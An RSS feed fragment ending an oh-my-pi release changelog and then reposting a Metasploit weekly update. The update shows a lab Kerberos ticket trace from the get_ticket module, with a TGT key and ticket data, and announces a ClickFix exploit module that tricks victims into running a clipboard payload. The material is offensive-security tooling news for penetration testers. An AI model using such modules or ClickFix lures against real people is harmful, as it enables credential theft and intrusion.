<li>Fixed session resume (<code>pi -c</code> / <code>--continue</code> / <code>--session</code>) hanging for ~10s at startup — surfaced by the watchdog as <code>Still starting … phase: createAgentSession &gt; restoreSessionModel</code> — when an OAuth token needed refreshing or the auth broker (<code>OMP_AUTH_BROKER_URL</code>) was unreachable. Picking which saved model to restore is a pure <em>selection</em> that only needs to know whether auth is configured, but <code>restoreSessionModel</code> probed each candidate with the async <code>getApiKey</code>, which refreshes OAuth tokens over the network, executes command-backed key programs, and issues auth-broker requests — so a slow or unreachable endpoint stalled resume for the full refresh timeout per candidate. Startup model selection now uses the synchronous, side-effect-free <code>ModelRegistry.hasConfiguredAuth</code> probe (the same fix already applied to interactive model switching); the concrete key is still resolved lazily on the first request via the resolver.</li>
</ul>
<h2>@oh-my-pi/collab-web</h2>
<h3>Fixed</h3>
<ul>
<li>Fixed context usage percentage calculations to return null when context window is missing or non-positive, preventing invalid or Infinity/NaN usage display</li>
</ul>
<h2>@oh-my-pi/pi-mnemopi</h2>
<h3>Fixed</h3>
<ul>
<li>Fixed <code>consolidateToEpisodic</code> (the function backing <code>sleep</code> / <code>sleepAllSessions</code>) never populating the episodic graph: the <code>gists</code> and <code>graph_edges</code> tables stayed at 0 rows across every bank even after multiple consolidation cycles, so Polyphonic Recall's <code>graph</code> voice (BFS over <code>findGistsByParticipant</code> / <code>findRelatedMemories</code>) always returned nothing. Consolidation now best-effort ingests the new episodic memory into <code>EpisodicGraph</code> so the gist row, gist→memory <code>ctx</code> edge, fact edges, and cross-memory similarity/entity/temporal edges land alongside the episodic row. Independent of the existing <code>MNEMOPI_PROACTIVE_LINKING</code> flag, which still gates the same enrichment on the <code>remember()</code> write path. (<a href="https://github.com/can1357/oh-my-pi/issues/2435" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/2435/hovercard">#2435</a>)</li>
</ul>
<h2>@oh-my-pi/pi-natives</h2>
<h3>Fixed</h3>
<ul>
<li>Fixed native shell execution rejecting quoted heredocs whose closing delimiter is the final line without a trailing newline, matching bash paste-run snippets.</li>
</ul>
<h2>@oh-my-pi/omp-stats</h2>
<h3>Fixed</h3>
<ul>
<li>Fixed the stats dashboard's SQLite init never setting <code>PRAGMA busy_timeout</code>, so a concurrent <code>omp</code> startup hitting WAL recovery could crash <code>initDb()</code> with <code>SQLITE_BUSY</code> instead of waiting through it. The busy handler is now installed before <code>PRAGMA journal_mode=WAL</code> (<a href="https://github.com/can1357/oh-my-pi/issues/2421" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/2421/hovercard">#2421</a>).</li>
</ul>
<h2>@oh-my-pi/pi-tui</h2>
<h3>Added</h3>
<ul>
<li><code>PI_FORCE_HYPERLINKS=1</code> / <code>PI_NO_HYPERLINKS=1</code> env overrides for the OSC 8 hyperlink capability, mirroring the <code>PI_FORCE_SYNC_OUTPUT</code>/<code>PI_NO_SYNC_OUTPUT</code> shape (opt-out beats force-on).</li>
</ul>
<h3>Changed</h3>
<ul>
<li>Auto-enable OSC 8 hyperlinks inside tmux when tmux self-reports &gt;= 3.4 via <code>TERM_PROGRAM_VERSION</code>; tmux 3.4 stores OSC 8 as a cell attribute and forwards it to outer terminals whose <code>terminal-features</code> include <code>hyperlinks</code>. Older tmux, GNU screen, and tmux without a reported version still default off. Resolution is factored into <code>hyperlinksUserOverride()</code> and <code>shouldEnableHyperlinksByDefault()</code> mirroring the sync-output helpers (<a href="https://github.com/can1357/oh-my-pi/issues/2403" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/2403/hovercard">#2403</a>).</li>
</ul>
<h2>@oh-my-pi/pi-utils</h2>
<h3>Fixed</h3>
<ul>
<li>Fixed abortable stream wrappers to cancel the source stream on abort, so timeout watchdogs release upstream HTTP bodies instead of only stopping the local reader.</li>
</ul>
<h2>@oh-my-pi/pi-wire</h2>
<h3>Changed</h3>
<ul>
<li>Changed <code>WireModel.contextWindow</code> and <code>ContextUsage.contextWindow</code> to <code>number | null</code> to allow representing unavailable context-window values</li>
</ul>
<h2>What's Changed</h2>
<ul>
<li>fix(tui): respect OSC 8 hyperlinks under tmux &gt;= 3.4 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4650944240" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/2404" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/2404/hovercard" href="https://github.com/can1357/oh-my-pi/pull/2404">#2404</a></li>
<li>fix(skills): load ~/.agents/skills even when third-party source toggles are off by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4651011756" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/2405" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/2405/hovercard" href="https://github.com/can1357/oh-my-pi/pull/2405">#2405</a></li>
<li>fix(coding-agent): stabilize mnemopi per-project bank derivation (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4651832873" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/2412" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/2412/hovercard" href="https://github.com/can1357/oh-my-pi/issues/2412">#2412</a>) by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4651944937" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/2414" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/2414/hovercard" href="https://github.com/can1357/oh-my-pi/pull/2414">#2414</a></li>
<li>fix(auth): retried SQLITE_BUSY family and hoisted busy_timeout by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4652322896" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/2423" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/2423/hovercard" href="https://github.com/can1357/oh-my-pi/pull/2423">#2423</a></li>
<li>fix(ai): added GITLAB_CLIENT_ID and GITLAB_REDIRECT_URI overrides for gitlab-duo OAuth by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4652454808" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/2425" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/2425/hovercard" href="https://github.com/can1357/oh-my-pi/pull/2425">#2425</a></li>
<li>fix(coding-agent): restore Windows image paste fallback by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4652851725" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/2430" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/2430/hovercard" href="https://github.com/can1357/oh-my-pi/pull/2430">#2430</a></li>
<li>fix(ai): deduplicate MiniMax reasoning stream by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4654022523" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/2434" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/2434/hovercard" href="https://github.com/can1357/oh-my-pi/pull/2434">#2434</a></li>
<li>fix(mnemopi): populated gists and graph_edges during consolidation by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4654648195" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/2439" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/2439/hovercard" href="https://github.com/can1357/oh-my-pi/pull/2439">#2439</a></li>
<li>fix: align Mermaid ASCII box borders for CJK/emoji labels by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/chan1103/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/chan1103">@chan1103</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4654744037" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/2442" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/2442/hovercard" href="https://github.com/can1357/oh-my-pi/pull/2442">#2442</a></li>
<li>docs: document project settings and disabledProviders by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4655013563" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/2448" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/2448/hovercard" href="https://github.com/can1357/oh-my-pi/pull/2448">#2448</a></li>
<li>fix(cli): defer goal objectives while streaming by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4655927611" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/2455" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/2455/hovercard" href="https://github.com/can1357/oh-my-pi/pull/2455">#2455</a></li>
</ul>
<p><strong>Full Changelog</strong>: <a class="commit-link" href="https://github.com/can1357/oh-my-pi/compare/v15.12.3...v15.12.4"><tt>v15.12.3...v15.12.4</tt></a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Weekly Metasploit Update: New Kerberos/Certificate tracing options, and multiple new modules]]></title>
<description><![CDATA[New Tracing OptionsAs hard as we try to ensure that Metasploit is bug free, issues inevitably come up. Whether you’re running a module on an op or writing a new one, what we can do is make the debugging experience easier. To that end one of our two Google Summer of Code (GSoC) projects is here to...]]></description>
<link>https://tsecurity.de/de/3594797/it-security-nachrichten/weekly-metasploit-update-new-kerberoscertificate-tracing-options-and-multiple-new-modules/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3594797/it-security-nachrichten/weekly-metasploit-update-new-kerberoscertificate-tracing-options-and-multiple-new-modules/</guid>
<pubDate>Sat, 13 Jun 2026 02:52:59 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>New Tracing Options</h2><p>As hard as we try to ensure that Metasploit is bug free, issues inevitably come up. Whether you’re running a module on an op or writing a new one, what we can do is make the debugging experience easier. To that end one of our two Google Summer of Code (GSoC) projects is here to deliver. Building on the previous pattern of HttpTrace comes two new options <span data-type="inlineCode">KerberosTicketTrace</span> and <span data-type="inlineCode">CertificateTrace</span>. These options, when enabled, will enable debugging output of Kerberos tickets and Certificates that are both sent and received by applicable modules. Now when things aren’t going quite right, users have new levers to reach for to inspect what’s happening under the hood.</p><p>For example, to inspect exactly what’s happening when using the <span data-type="inlineCode">auxiliary/admin/kerberos/get_ticket</span><span data-type="inlineCode"> module:</span></p><pre language="html">msf auxiliary(admin/kerberos/get_ticket) &gt; set KerberosTicketTrace true 
KerberosTicketTrace =&gt; true
msf auxiliary(admin/kerberos/get_ticket) &gt; run
[*] Running module against 192.168.159.10
[*] 192.168.159.10:88 - Getting TGT for smcintyre@msflab.local
####################
# Kerberos Request: AS-REQ
####################
Protocol Version: 5
Message Type: 10 (AS-REQ)
Pre-Authentication Data:
  Entry[0]:
    Type: 128 (PA_PAC_REQUEST)
    Value: [binary 7 bytes: 3005a0030101ff]
Request Body:
  KDC Options:
    Value: 1082195984
    Flags:
      - FORWARDABLE
      - RENEWABLE
      - CANONICALIZE
      - RENEWABLE_OK
  Client Name:
    Name Type: 1 (NT_PRINCIPAL)
    Name String:
      - smcintyre
  Realm: MSFLAB.LOCAL
  Server Name:
    Name Type: 1 (NT_PRINCIPAL)
    Name String:
      - krbtgt
      - MSFLAB.LOCAL
  Till: 2026-06-12T18:21:36Z
  Rtime: 2026-06-12T18:21:36Z
  Nonce: 6831592
  Encryption Type:
    - 18 (AES256)
    - 17 (AES128)
    - 23 (RC4_HMAC)
    - 3 (DES_CBC_MD5)
    - 16 (DES3_CBC_SHA1)
####################
# Kerberos Response: KRB-ERROR
####################
Protocol Version: 5
Message Type: 30 (KRB-ERROR)
Server Time: 2026-06-11T18:21:36Z
Server Microseconds: 862696
Error Code:
  Name: KDC_ERR_PREAUTH_REQUIRED
  Value: 25
  Description: Additional pre-authentication required
Realm: MSFLAB.LOCAL
Server Name:
  Name Type: 1 (NT_PRINCIPAL)
  Name String:
    - krbtgt
    - MSFLAB.LOCAL
Error Data: [binary 87 bytes: 30553032a103020113a22b04293027301ea003020112a1171b154d53464c41422e4c4f43414c736d63696e747972653005a0030201173009a103020102a20204003009a103020110a20204003009a10302010fa2020400]
####################
# Kerberos Request: AS-REQ
####################
Protocol Version: 5
Message Type: 10 (AS-REQ)
Pre-Authentication Data:
  Entry[0]:
    Type: 2 (PA_ENC_TIMESTAMP)
    Value: [binary 67 bytes: 3041a003020112a23a0438724f4965bd3deb1f061e807b616a09b613f59d9a6749eaee895e2ec3ed3045403cb28874acaa371681e3957a3ec23879141411ba788886f3]
  Entry[1]:
    Type: 128 (PA_PAC_REQUEST)
    Value: [binary 7 bytes: 3005a0030101ff]
Request Body:
  KDC Options: 1350565888
  Client Name:
    Name Type: 1 (NT_PRINCIPAL)
    Name String:
      - smcintyre
  Realm: MSFLAB.LOCAL
  Server Name:
    Name Type: 1 (NT_PRINCIPAL)
    Name String:
      - krbtgt
      - MSFLAB.LOCAL
  Till: 2026-06-12T18:21:36Z
  Rtime: 2026-06-12T18:21:36Z
  Nonce: 7068778
  Encryption Type:
    - 18 (AES256)
    - 23 (RC4_HMAC)
####################
# Kerberos Response: AS-REP
####################
Protocol Version: 5
Message Type: 11 (AS-REP)
Pre-Authentication Data:
  Entry[0]:
    Type: 19 (PA_ETYPE_INFO2)
    Value: [binary 34 bytes: 3020301ea003020112a1171b154d53464c41422e4c4f43414c736d63696e74797265]
Client Realm: MSFLAB.LOCAL
Client Name:
  Name Type: 1 (NT_PRINCIPAL)
  Name String:
    - smcintyre
Ticket:
  Ticket Version Number: 5
  Realm: MSFLAB.LOCAL
  Server Name:
    Name Type: 1 (NT_PRINCIPAL)
    Name String:
      - krbtgt
      - MSFLAB.LOCAL
  Encrypted Part:
    Encryption Type: 18 (AES256)
    Key Version Number: 2
    Cipher: [binary 1098 bytes: a3b825bd279344fd0bc454654f7906e31c8f4918c7c69319515e6a722515b55da36e2ae26f107d9f6278b029ba4c1b937a8a4e9df04f4a54da43794b2216fd5d7762582e94e3aa72fd14bfa0cfb9ff5c9a138acecd57351ff7ca98a9d7d890445316b04359e9210f93ba72c578a1605fb5502ba00fe67d9b55417e356e6400ef3bd07b9e1a8e4aedeb62249bef9f56f0cda3a30969d33fe6999a4855ae8f666b82fdff29047b14d4bcd77b31a6b9ce1ee3a4425cd197250af0cc878995afbeb4de42fb7e55d6095ab27ab3fa7f0afb0010b8e8f5e721a3d0417c7342df77619f6520e726652dc4417d2dbc044529236557441f87a50a7188242fb177e5f1bd45d31902c877d51cd05af7215e520c410e9b7036bc78c1ddad458b0ad99832c4fdd6f8f523ca4241aee8ebce4a0000202ebfb870761833feffc2c248683751a11d556bba4c59b20c7a1627b187d4d4679e19b1928f3ab7edeef3f01b459324178a9e49976519b58d6d7164b29c77e20625c4e710e3bbb0bb32452d4bdb9ed0c3e9873b9511cadf36fb0b372af5f67310319f160c0242d2fff1095bc467c4eb6da0382ab0587d519e5390e56eacb6db4f98c2c25b7ac22edf40db2e0e0eca03dfeba48327916a8caa85c382d04dcea16116c76132dcbfc168b7e3435a37f812f479f1e8309b124a9dcbac1e2ae83063a5e49c1ea584f13f64832c713577f07b3229e83c0fe73c3dc350640a69ea643ef24b66ed17114c262d3e5cdddb8182d8da49173e597b23d94f8ef652433713bf1d5e91c7f984945940d27755584137b00baa9696cdd121c641870830ffc86c8f9989254b6b804912c4989014b3f849cd02e6b06d3cc6401fd3f830cfcd36a0ecf31309d5b6dc82a65b427818694002bcf5fac9c936e1d64205a397126f39f684903803a5405baff041881339c4c8d325a2f446178b66383c209f3dba61bdda626f6e6d63c473638191e447d58aebfcb5a98104c2f96afa3283ac3aca675937afd7c497f1bd41a3dd1b52a6a16db791421a4ab9189d9fa0d610713d9c1eeb2f9c46d6ea197f48e2e643fe773ece0855c63b44b6020044fb7cc1396b26b4747941484b73108b7c1c90e2670cf723033274cc24ceb66a7054b35a9653cd7391a4f81b2c977ee251c9295e47be46b14c66b4031c6758415e543153bde190af0f1abe0f207d84145e3521850f89765997ab72cccaaeb4c5ce8b8be9b33712090d59424c2517e4cd539740750f5792f171fec2b4e4b4bc00cb77bc308abe1b70c75684734aa9ef03c4b419d2e10b4ea6229faf5a4b2af9483156ea32bc4b298f158067ac45afd5c812c407bda57880434cb93a60ac19799004a9adc72d845401ebb8e2a31ed0edf539233d293b1141bb49b36b6475d87c0fd114d97a946e82e39ed58e6c2e0d72826059600d412bd05aaf0af5602ade2f1ff6db363ec33e25756c4bc417b248344ba19ecd8d80d2cd2c2ff32aa355c22ee96166fc7043204dcc48b5595416c4312855c7d6e31d422c93c1d6f3df1a5890b45fc55f1b757b8e]
Encrypted Part:
  Encryption Type: 18 (AES256)
  Key Version Number: 3
  Cipher: [binary 271 bytes: 357637faf370a69ec4780f1fc4308e3d639e59ebbdb5d208cf6df75470bcefdd5210a098aa716055f758d9ec58674abc4b56cec2923329309e2be192db3ee1a63c6f0133a96c440707a0f29f2e075f90c54e2ab7626132f8e898112f81cbde6905d992d9ec6a4c26087043ea8f97c1a876354c47b4a6a76e3321f42edc483530d5248f8daa01db15ab019ac4179dfdb5f6d6c1f2666b9983cd02989612acdad2b2efe352fb9708a080fd304d17a87ff1e152dc8ca981de6cff418f38c5c28612766bfc13fbac51bad1a01fcd7aae544c7d839124e1bce745d20d06c8aca5c7125afe069e8d5299a10cd27b392bd8ae3893181f132f3d49dd746c6c70c6d2b651df998c59be84f2d5b83e5b3c0a71b2]
[+] 192.168.159.10:88 - Received a valid TGT-Response
[*] 192.168.159.10:88 - TGT MIT Credential Cache ticket saved to /home/smcintyre/.msf4/loot/20260611142136_default_192.168.159.10_mit.kerberos.cca_918073.bin
####################
# Kerberos Credential: TGT
####################
Creds: 1
  Credential[0]:
    Server: krbtgt/MSFLAB.LOCAL@MSFLAB.LOCAL
    Client: smcintyre@MSFLAB.LOCAL
    Ticket etype: 18 (AES256)
    Key: 58b969939485b53dee75e4399253524d132cc2ca145f4da4e4951c04a843e544
    Subkey: false
    Ticket Length: 1188
    Ticket Flags: 0x50e10000 (FORWARDABLE, PROXIABLE, RENEWABLE, INITIAL, PRE_AUTHENT, CANONICALIZE)
    Addresses: 0
    Authdatas: 0
    Times:
      Auth time: 2026-06-11 14:21:36 -0400
      Start time: 2026-06-11 14:21:36 -0400
      End time: 2026-06-12 00:21:36 -0400
      Renew Till: 2026-06-12 14:21:36 -0400
    Ticket:
      Ticket Version Number: 5
      Realm: MSFLAB.LOCAL
      Server Name: krbtgt/MSFLAB.LOCAL
      Encrypted Ticket Part:
        Ticket etype: 18 (AES256)
        Key Version Number: 2
        Cipher:
          o7glvSeTRP0LxFRlT3kG4xyPSRjHxpMZUV5qciUVtV2jbiribxB9n2J4sCm6TBuTeopOnfBPSlTaQ3lLIhb9XXdiWC6U46py/RS/oM+5/1yaE4rOzVc1H/fKmKnX2JBEUxawQ1npIQ+TunLFeKFgX7VQK6AP5n2bVUF+NW5kAO870HueGo5K7etiJJvvn1bwzaOjCWnTP+aZmkhVro9ma4L9/ykEexTUvNd7Maa5zh7jpEJc0ZclCvDMh4mVr7603kL7flXWCVqyerP6fwr7ABC46PXnIaPQQXxzQt93YZ9lIOcmZS3EQX0tvARFKSNlV0Qfh6UKcYgkL7F35fG9RdMZAsh31RzQWvchXlIMQQ6bcDa8eMHdrUWLCtmYMsT91vj1I8pCQa7o685KAAAgLr+4cHYYM/7/wsJIaDdRoR1Va7pMWbIMehYnsYfU1GeeGbGSjzq37e7z8BtFkyQXip5Jl2UZtY1tcWSynHfiBiXE5xDju7C7MkUtS9ue0MPphzuVEcrfNvsLNyr19nMQMZ8WDAJC0v/xCVvEZ8TrbaA4KrBYfVGeU5Dlbqy220+YwsJbesIu30DbLg4OygPf66SDJ5FqjKqFw4LQTc6hYRbHYTLcv8Fot+NDWjf4EvR58egwmxJKncusHiroMGOl5JwepYTxP2SDLHE1d/B7MinoPA/nPD3DUGQKaepkPvJLZu0XEUwmLT5c3duBgtjaSRc+WXsj2U+O9lJDNxO/HV6Rx/mElFlA0ndVWEE3sAuqlpbN0SHGQYcIMP/IbI+ZiSVLa4BJEsSYkBSz+EnNAuawbTzGQB/T+DDPzTag7PMTCdW23IKmW0J4GGlAArz1+snJNuHWQgWjlxJvOfaEkDgDpUBbr/BBiBM5xMjTJaL0RheLZjg8IJ89umG92mJvbm1jxHNjgZHkR9WK6/y1qYEEwvlq+jKDrDrKZ1k3r9fEl/G9QaPdG1KmoW23kUIaSrkYnZ+g1hBxPZwe6y+cRtbqGX9I4uZD/nc+zghVxjtEtgIARPt8wTlrJrR0eUFIS3MQi3wckOJnDPcjAzJ0zCTOtmpwVLNallPNc5Gk+Bssl37iUckpXke+RrFMZrQDHGdYQV5UMVO94ZCvDxq+DyB9hBReNSGFD4l2WZercszKrrTFzouL6bM3EgkNWUJMJRfkzVOXQHUPV5Lxcf7CtOS0vADLd7wwir4bcMdWhHNKqe8DxLQZ0uELTqYin69aSyr5SDFW6jK8SymPFYBnrEWv1cgSxAe9pXiAQ0y5OmCsGXmQBKmtxy2EVAHruOKjHtDt9TkjPSk7EUG7SbNrZHXYfA/RFNl6lG6C457VjmwuDXKCYFlgDUEr0FqvCvVgKt4vH/bbNj7DPiV1bEvEF7JINEuhns2NgNLNLC/zKqNVwi7pYWb8cEMgTcxItVlUFsQxKFXH1uMdQiyTwdbz3xpYkLRfxV8bdXuO
[*] Auxiliary module execution completed
msf auxiliary(admin/kerberos/get_ticket) &gt;</pre><br><p>Stay tuned for future enhancements like KerberosTicketTraceLevel which should have verbosity toggles such as meta, ticket, and full. We’d like to thank our GSoC contributors <a href="https://github.com/eve0805">eve0805</a> and <a href="https://github.com/Pushpenderrathore">Pushpenderrathore</a> for their hard work on this project.</p><h2>Upcoming Evasion Module Changes</h2><p>Metasploit is currently reconsidering the UX of evasion modules whereby users are currently required to use the module, set the payload, run it, then return to their exploit and copy the generated output from the evasion module into the exploit. This is a cumbersome process and we think we can do better but before we commit to a direction, we are soliciting feedback from the community on what they think would be the best path forward. To that end, we’ve <a href="https://gist.github.com/smcintyre-r7/09488f45904d73ff0ce0d5a7f7e5a830">published</a> a writeup of the options we’re considering and a <a href="https://docs.google.com/forms/d/e/1FAIpQLSfa1JVJzqrQ2lh9a0peW8VGs3pNSb47vw5RJWVicfiQU5bpDg/viewform">form</a> through which we’re hoping to receive feedback. The form contains 3 questions and will be open until July 1st, 2026.</p><h2>New module content (1)</h2><h3>ClickFix Server</h3><p>Authors: boredchilada and h00die</p><p>Type: Exploit</p><p>Pull request: <a href="https://github.com/rapid7/metasploit-framework/pull/21212">#21212</a> contributed by <a href="https://github.com/h00die">h00die</a></p><p>Path: multi/misc/clickfix_server</p><p>Description: Adds a new Metasploit exploit module exploit/multi/misc/clickfix_server that runs an HTTP server to deliver a "ClickFix"-style social-engineering page which copies a generated command payload to the victim’s clipboard that they are prompted execute.</p><h2>Enhancements and features (9)</h2><ul><li><a href="https://github.com/rapid7/metasploit-framework/pull/21008">#21008</a> from <a href="https://github.com/EclipseAditya">EclipseAditya</a> - Adds kernel_rex_version to Msf::Post::Linux::Kernel, a new helper that extracts the upstream kernel version from <span data-type="inlineCode">uname -r</span><span data-type="inlineCode"> </span>and returns a <span data-type="inlineCode">Rex::Version</span>. This eliminates an ArgumentError crash that occurred when 15+ Linux local exploit modules encountered distro-specific kernel version suffixes.</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21198">#21198</a> from <a href="https://github.com/Pushpenderrathore">Pushpenderrathore</a> - This adds a <span data-type="inlineCode">CertificateTracePresenter</span>, implementing certificate tracing using the presenter pattern aligned with existing Metasploit conventions. This can be enabled by setting the <span data-type="inlineCode">CertificateTrace</span> datastore option when using modules like <span data-type="inlineCode">icpr_cert</span> and <span data-type="inlineCode">get_ticket</span> to see the X.509 certificates being sent and received.</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21222">#21222</a> from <a href="https://github.com/g0tmi1k">g0tmi1k</a> - Standardizes the log output across many Metasploit modules to improve the host and port log details when IPv6 addresses are present.</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21266">#21266</a> from <a href="https://github.com/zeroSteiner">zeroSteiner</a> - This improves how we log SMB services. If the service is detected but authentication fails, the client still logs what dialect was negotiated so we log the service even if we couldn't authenticate to it.</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21383">#21383</a> from <a href="https://github.com/zeroSteiner">zeroSteiner</a> - This bumps Ruby SMB to version 3.1.21 and closes a feature gap between Ruby SMB and the Rex SMB client. With the feature gap closed, <span data-type="inlineCode">modules/auxiliary/admin/smb/samba_symlink_traversal.rb</span> can now be switched from Rex to the RubySMB client. One less module in the way of dropping the ancient Rex client.</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21466">#21466</a> from <a href="https://github.com/eve0805">eve0805</a> - This adds introduces KerberosTicketTrace support as a datastore option for Metasploit's Kerberos authentication flows. Enabling <span data-type="inlineCode">KerberosTicketTrace</span> allows users to see the following requests and responses as they are sent and received: AS-REQ, AS-REP, TGS-REQ, TGS-REP, KRB-ERROR. Inbound messages are colored blue and outgoing messages are colored red to match the existing HttpTrace functionality. The coloring can be turned off and on with the KerberosTicketTraceColors datastore option.</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21528">#21528</a> from <a href="https://github.com/h00die">h00die</a> - This PR updates Metasploit module metadata by adding Exploit-DB (EDB) reference IDs to existing modules that already have CVE references, improving cross-referencing for higher-fidelity vulnerability tracking.</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21535">#21535</a> from <a href="https://github.com/adfoster-r7">adfoster-r7</a> - Updates multiple HTTP login scanners to validate the remote target as a pre-requisite to running the login attempts.</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21554">#21554</a> from <a href="https://github.com/sjanusz-r7">sjanusz-r7</a> - Make WebDAV upload PHP exploit checks less strict.</li></ul><h2>Bugs fixed (4)</h2><ul><li><a href="https://github.com/rapid7/metasploit-framework/pull/20618">#20618</a> from <a href="https://github.com/Aaditya1273">Aaditya1273</a> - Updates the MSSQL modules to no longer crash when running stored procedures like <span data-type="inlineCode">EXEC sp_linkedservers;</span> against a remote host.</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21543">#21543</a> from <a href="https://github.com/sjanusz-r7">sjanusz-r7</a> - Addresses a recent issue stemming from the recently-made changes to the webdav upload php module, where a false positive was being reported based on only the response code.</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21549">#21549</a> from <a href="https://github.com/4ravind-b">4ravind-b</a> - Adds the missing <a href="https://github.com/advisories/GHSA-hxj9-549w-4pcq">https://github.com/advisories/GHSA-hxj9-549w-4pcq</a> reference to <span data-type="inlineCode">modules/auxiliary/scanner/smtp/smtp_relay.rb</span>.</li><li><a href="https://github.com/rapid7/metasploit-framework/pull/21557">#21557</a> from <a href="https://github.com/adfoster-r7">adfoster-r7</a> - Fixes a db_import crash when importing zip files.</li></ul><h2>Documentation</h2><p>You can find the latest Metasploit documentation on our docsite at <a href="https://docs.metasploit.com/">docs.metasploit.com</a>.</p><h2>Get it</h2><p>As always, you can update to the latest Metasploit Framework with msfupdate and you can get more details on the changes since the last blog post from GitHub:</p><ul><li><a href="https://github.com/rapid7/metasploit-framework/pulls?q=is:pr+merged:%222026-06-04T12%3A43%3A08Z..2026-06-11T10%3A00%3A50Z%22">Pull Requests 6.4.136...6.4.137</a></li><li><a href="https://github.com/rapid7/metasploit-framework/compare/6.4.136...6.4.137">Full diff 6.4.136...6.4.137</a></li></ul><p>If you are a git user, you can clone the <a href="https://github.com/rapid7/metasploit-framework">Metasploit Framework repo</a> (master branch) for the latest. To install fresh without using git, you can use the open-source-only <a 